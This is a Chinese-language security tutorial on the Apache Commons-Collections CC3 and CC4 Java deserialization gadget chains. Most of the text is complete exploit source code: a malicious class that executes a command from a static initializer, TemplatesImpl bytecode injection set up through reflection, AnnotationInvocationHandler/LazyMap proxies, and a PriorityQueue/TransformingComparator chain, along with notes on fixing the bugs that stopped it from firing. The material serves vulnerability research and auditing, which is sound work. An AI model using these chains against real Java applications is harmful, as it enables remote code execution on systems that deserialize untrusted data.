Java代码审计之CC3与CC4

xiao1star2025-12-22文章来源:SecHub网络安全社区


CC3(动态类加载)

基于CC1下的CC3链

CC3链在JDK8u71以上版本无法使用

与前面的不同之处,前面的是用的是命令执行,而整个链用的是代码执行(动态类加载)

要知道ClassLoader中的defineClass方法可以实现动态类加载,但是仅仅使用它是无法进行执行代码的

1.在TemplatesImpl类中TransletClassLoader中有一个defineClass方法调用了defineClass()方法

图片.png

2.再往下有一个privatedefineTransletClasses()方法调用了defineClass方法

该方法的调用,_bytecode不能为空,否则会抛出异常

_tfactoty的值不能为空用不然就会有空指针异常,但是他是由transient修饰无法进行反序列化。继续往下

图片.png

图片.png

3.下面有一个 getTransletInstance()的方法调用了defineTransletClasses()方法,注意_name的值不能为空,同时_class的值要为空

图片.png

4.在往下有一个publicnewTransformer()调用了getTransletInstance(),

图片.png

根据以上的内容浅浅地写一下这个链的逻辑

  1. 首先创建一个test.java文件并将其编译一下生成.class文件用于我们后续进行字节码文件的读取
public class test { static {//静态代码块 try{ Runtime.getRuntime().exec("calc"); } catch(Exception e){ e.printStackTrace(); } } }

2.这是我们根据上述分析写的CC3链的代码

import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class CC3 { public static void main(String[] args[]) throws Exception{ TemplatesImpl templates=new TemplatesImpl(); Class tc =templates.getClass(); Field namefield =tc.getDeclaredField("_name");//给_name赋值 namefield.setAccessible(true); namefield.set(templates,"666"); Field bytecodesfield= tc.getDeclaredField("_bytecodes");//给_bytecodes赋值 bytecodesfield.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://TemplateBytes.class")); byte[][] codes={code}; bytecodesfield.set(templates,codes); Field tfactoryfield=tc.getDeclaredField("_tfactory");//给_tfactory tfactoryfield.setAccessible(true); tfactoryfield.set(templates,new TransformerFactoryImpl()); templates.newTransformer(); } }

运行发现有报错,报错显示是空指针异常在TemplatesImpl的422行,我们跟进去一探究竟

图片.png

测试发现这是判断传入的参数b数组的字节码类继承的是否为ABSTRACT_TRANSLET即AbstractTranslet类,如果是就会给_transletIndex赋值,如果不是就会进入else语句,但是我们_auxClasses是空的就会报错

图片.png

图片.png

那么我们的解决方法

  1. _auxClasses通过反射赋值
  2. 将字节码类继承AbstractTranslet类

但是如果我们进行赋值操作,那么_transletIndex就是-1然后进入上图第二个红框的if语句中,发现还是一个报错。因此我们只有选第二种方法

我们将我们的test类继承这个AbstractTranslet类发现还需要实现他的两个抽象方法

package org.example; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class test extends AbstractTranslet { static { try{ Runtime.getRuntime().exec("calc"); } catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }

再次运行上述代码就成功执行了我们的代码并弹出计算机

图片.png

注意:我们在对_tfactory通过反射赋了值,但是这个变量是不能被序列化的,因为这个成员变量被transient方法所修饰

图片.png

为何上述代码要给他赋值呢,当然是我们现在还没有进行序列化与反序列化操作呢,只是想测试一下代码是正确的。那么不对_tfactory反射赋值就会有空指针报错,但是又因为transient修饰又不能序列化该变量,其实在readObject方法中对_tfactory进行操作也就说在反序列化时无需我们手动赋值了

图片.png

后续直接继承CC1链中的内容即可

图片.png

现在就是将 templates.newTransformer();转换为CC1链中的通过Invokertransform.transform中的反射来实现

package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC3 { public static void main(String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl(); Class tc =templates.getClass(); Field namefield =tc.getDeclaredField("_name");//给_name赋值 namefield.setAccessible(true); namefield.set(templates,"666"); Field bytecodesfield= tc.getDeclaredField("_bytecodes");//给_bytecodes赋值 bytecodesfield.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://test.class")); byte[][] codes={code}; bytecodesfield.set(templates,codes); Field tfactoryfield=tc.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templates,new TransformerFactoryImpl()); //下面代码就类似于templates.newTransformer(); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map=new HashMap<>(); map.put("value","key"); Map<Object,Object> transformerMap= TransformedMap.decorate(map,null,chainedTransformer);//用于实例化TansformedMap对象 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhandlerconstruct=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhandlerconstruct.setAccessible(true); Object o=annotationInvocationhandlerconstruct.newInstance(Target.class,transformerMap);//实例化一个AnnotationInvocationHandler会默认调用setValue方法,进而调用checkSetValue(),进而调用transform方法 serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj)throws Exception{ ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String name)throws Exception{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(name)); return ois.readObject(); } }

正版的CC3链

因为只需要调用 TemplatesImpl 类的 newTransformer() 方法,便可以实现动态加载任意类,所以我们去到 newTransformer() 方法下,find usages。

发现有一个TrAXFilter类完美的契合了我们理念,它的构造方法中有一个_transformer = (TransformerImpl) templates.newTransformer();会调用newTransformer()方法,但是其不能反序列化,因为没有继承Serializable接口

图片.png

CC3的作者没有利用Invokertransformertransform,而是调用了一个新的类 InstantiateTransformer的transform。

  • InstantiateTransformer 这个类的transform方法是可以调用指定类的构造器,

图片.png

找到InstantiateTransformer的构造方法,paraTypes是指的是构造方法的参数,args是指参数值

图片.png

那么我们就可以利用InstantiateTransformer的transform方法去调用TrAXFilter的构造方法,进而调用templates.newTransformer(),如下是伪代码

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); instantiateTransformer.transform("TrAXFilter.class");

后半部分 EXP 写好了,我们去找入口类的前半部分。而前半部分链子从谁调用了 transform 方法开始,所以 CC1 链和 CC6 链的前半部分 EXP 都是有效的

CC1 链作为前半部分

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; // CC3 链最终 EXPpublic class CC3FinalEXP { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); // templates.newTransformer(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); //instantiateTransformer.transform("TrAXFilter.class"); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);//动态代理的InvocationHandler的实现方法 Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader() , new Class[]{Map.class}, invocationHandler);//实现动态 Object o = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }

CC4链

环境

  • jdk8u65
  • openJDK 8u65
  • maven3.6.3
  • Commons-Collections 4.0

Maven下载的依赖

<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>

从尾部向首部分析,尾部命令执行的方式就两种,反射或是动态加载字节码。所以我们只是分析前半部分即可

1.InstantiateTransformer

与CC1链中调用invokerTransformer.tranform不同的是,在CC4链中使用的是InstantiateTransformer.transform

图片.png

2.TransformingComparator

通过find usages,发现TransformingComparatorcompare方法调用了transformer方法

图片.png

3.PriorityQueue

发现siftUpUsingComparator调用了该方法

图片.png

但是我们需要返序列化,需要到readObject方法才行,继续找发现sitfDown调用了该方法,其实私有的,继续往下找

图片.png

发现heapify()调用了siftDown方法,接着往下

图片.png

发现其readObject调用了heapify方法

图片.png

我们根据CC3链的前半部分构造代码

package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC4 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"qqqq"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("D://test.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); // templates.newTransformer(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // instantiateTransformer.transform(TrAXFilter.class); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }}

之后运行发现会运行成功但没有弹出显示器

断点位置:PriorityQueue 的 736 行 siftDown() 代码,以及 795 行的 heapify() 代码。Debug 一下。

图片.png

发现在 735 行的时候跳出程序了,原因是这一段 size >>> 1>>> 是移位运算符。

value >>> num     --   num 指定要移位值 value 移动的位数

具体的算法可以先不搞懂,我们点击 Evaluate Expression,将 size 的值进行替换,知道 size 等于 1 时,才算成功

  • 当我们将 Size 的值修改成 2 的时候,得到 Result 为 1,是可以进入循环的,所以现在我们要想办法将 Size 的值变成 2。

图片.png

要修改 Size,必然要先明白 Size 是什么,Size 就是 PriorityQueue 这个队列的长度,简单理解,就是数组的长度。现在我们这个数组的长度为 0,0 - 1 = -1,所以会直接跳出循环,不能弹计算器。

通过此语句加上即可。

priorityQueue.add(1);  
priorityQueue.add(2);

同时还需要注意add方法,在我们进行 priorityQueue.add(1) 这个语句的时候,它内部会自动进行 compare() 方法的执行,然后调用 transform(),我把图贴出来。

图片.png

也就以为这我们弹出的计算机,不是经过序列化和反序列化才弹出的

完整链子

因为我们不需要让代码进行本地执行,所以我们可以先让 transformingComparator 的值成为一个无关的对象,在 add 完之后再用反射修改。

package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC4 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] evil = Files.readAllBytes(Paths.get("D://test.class")); byte[][] codes = {evil}; bytecodesField.set(templates,codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // instantiateTransformer.transform(TrAXFilter.class); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c = transformingComparator.getClass(); Field transformingField = c.getDeclaredField("transformer"); transformingField.setAccessible(true); transformingField.set(transformingComparator, chainedTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }}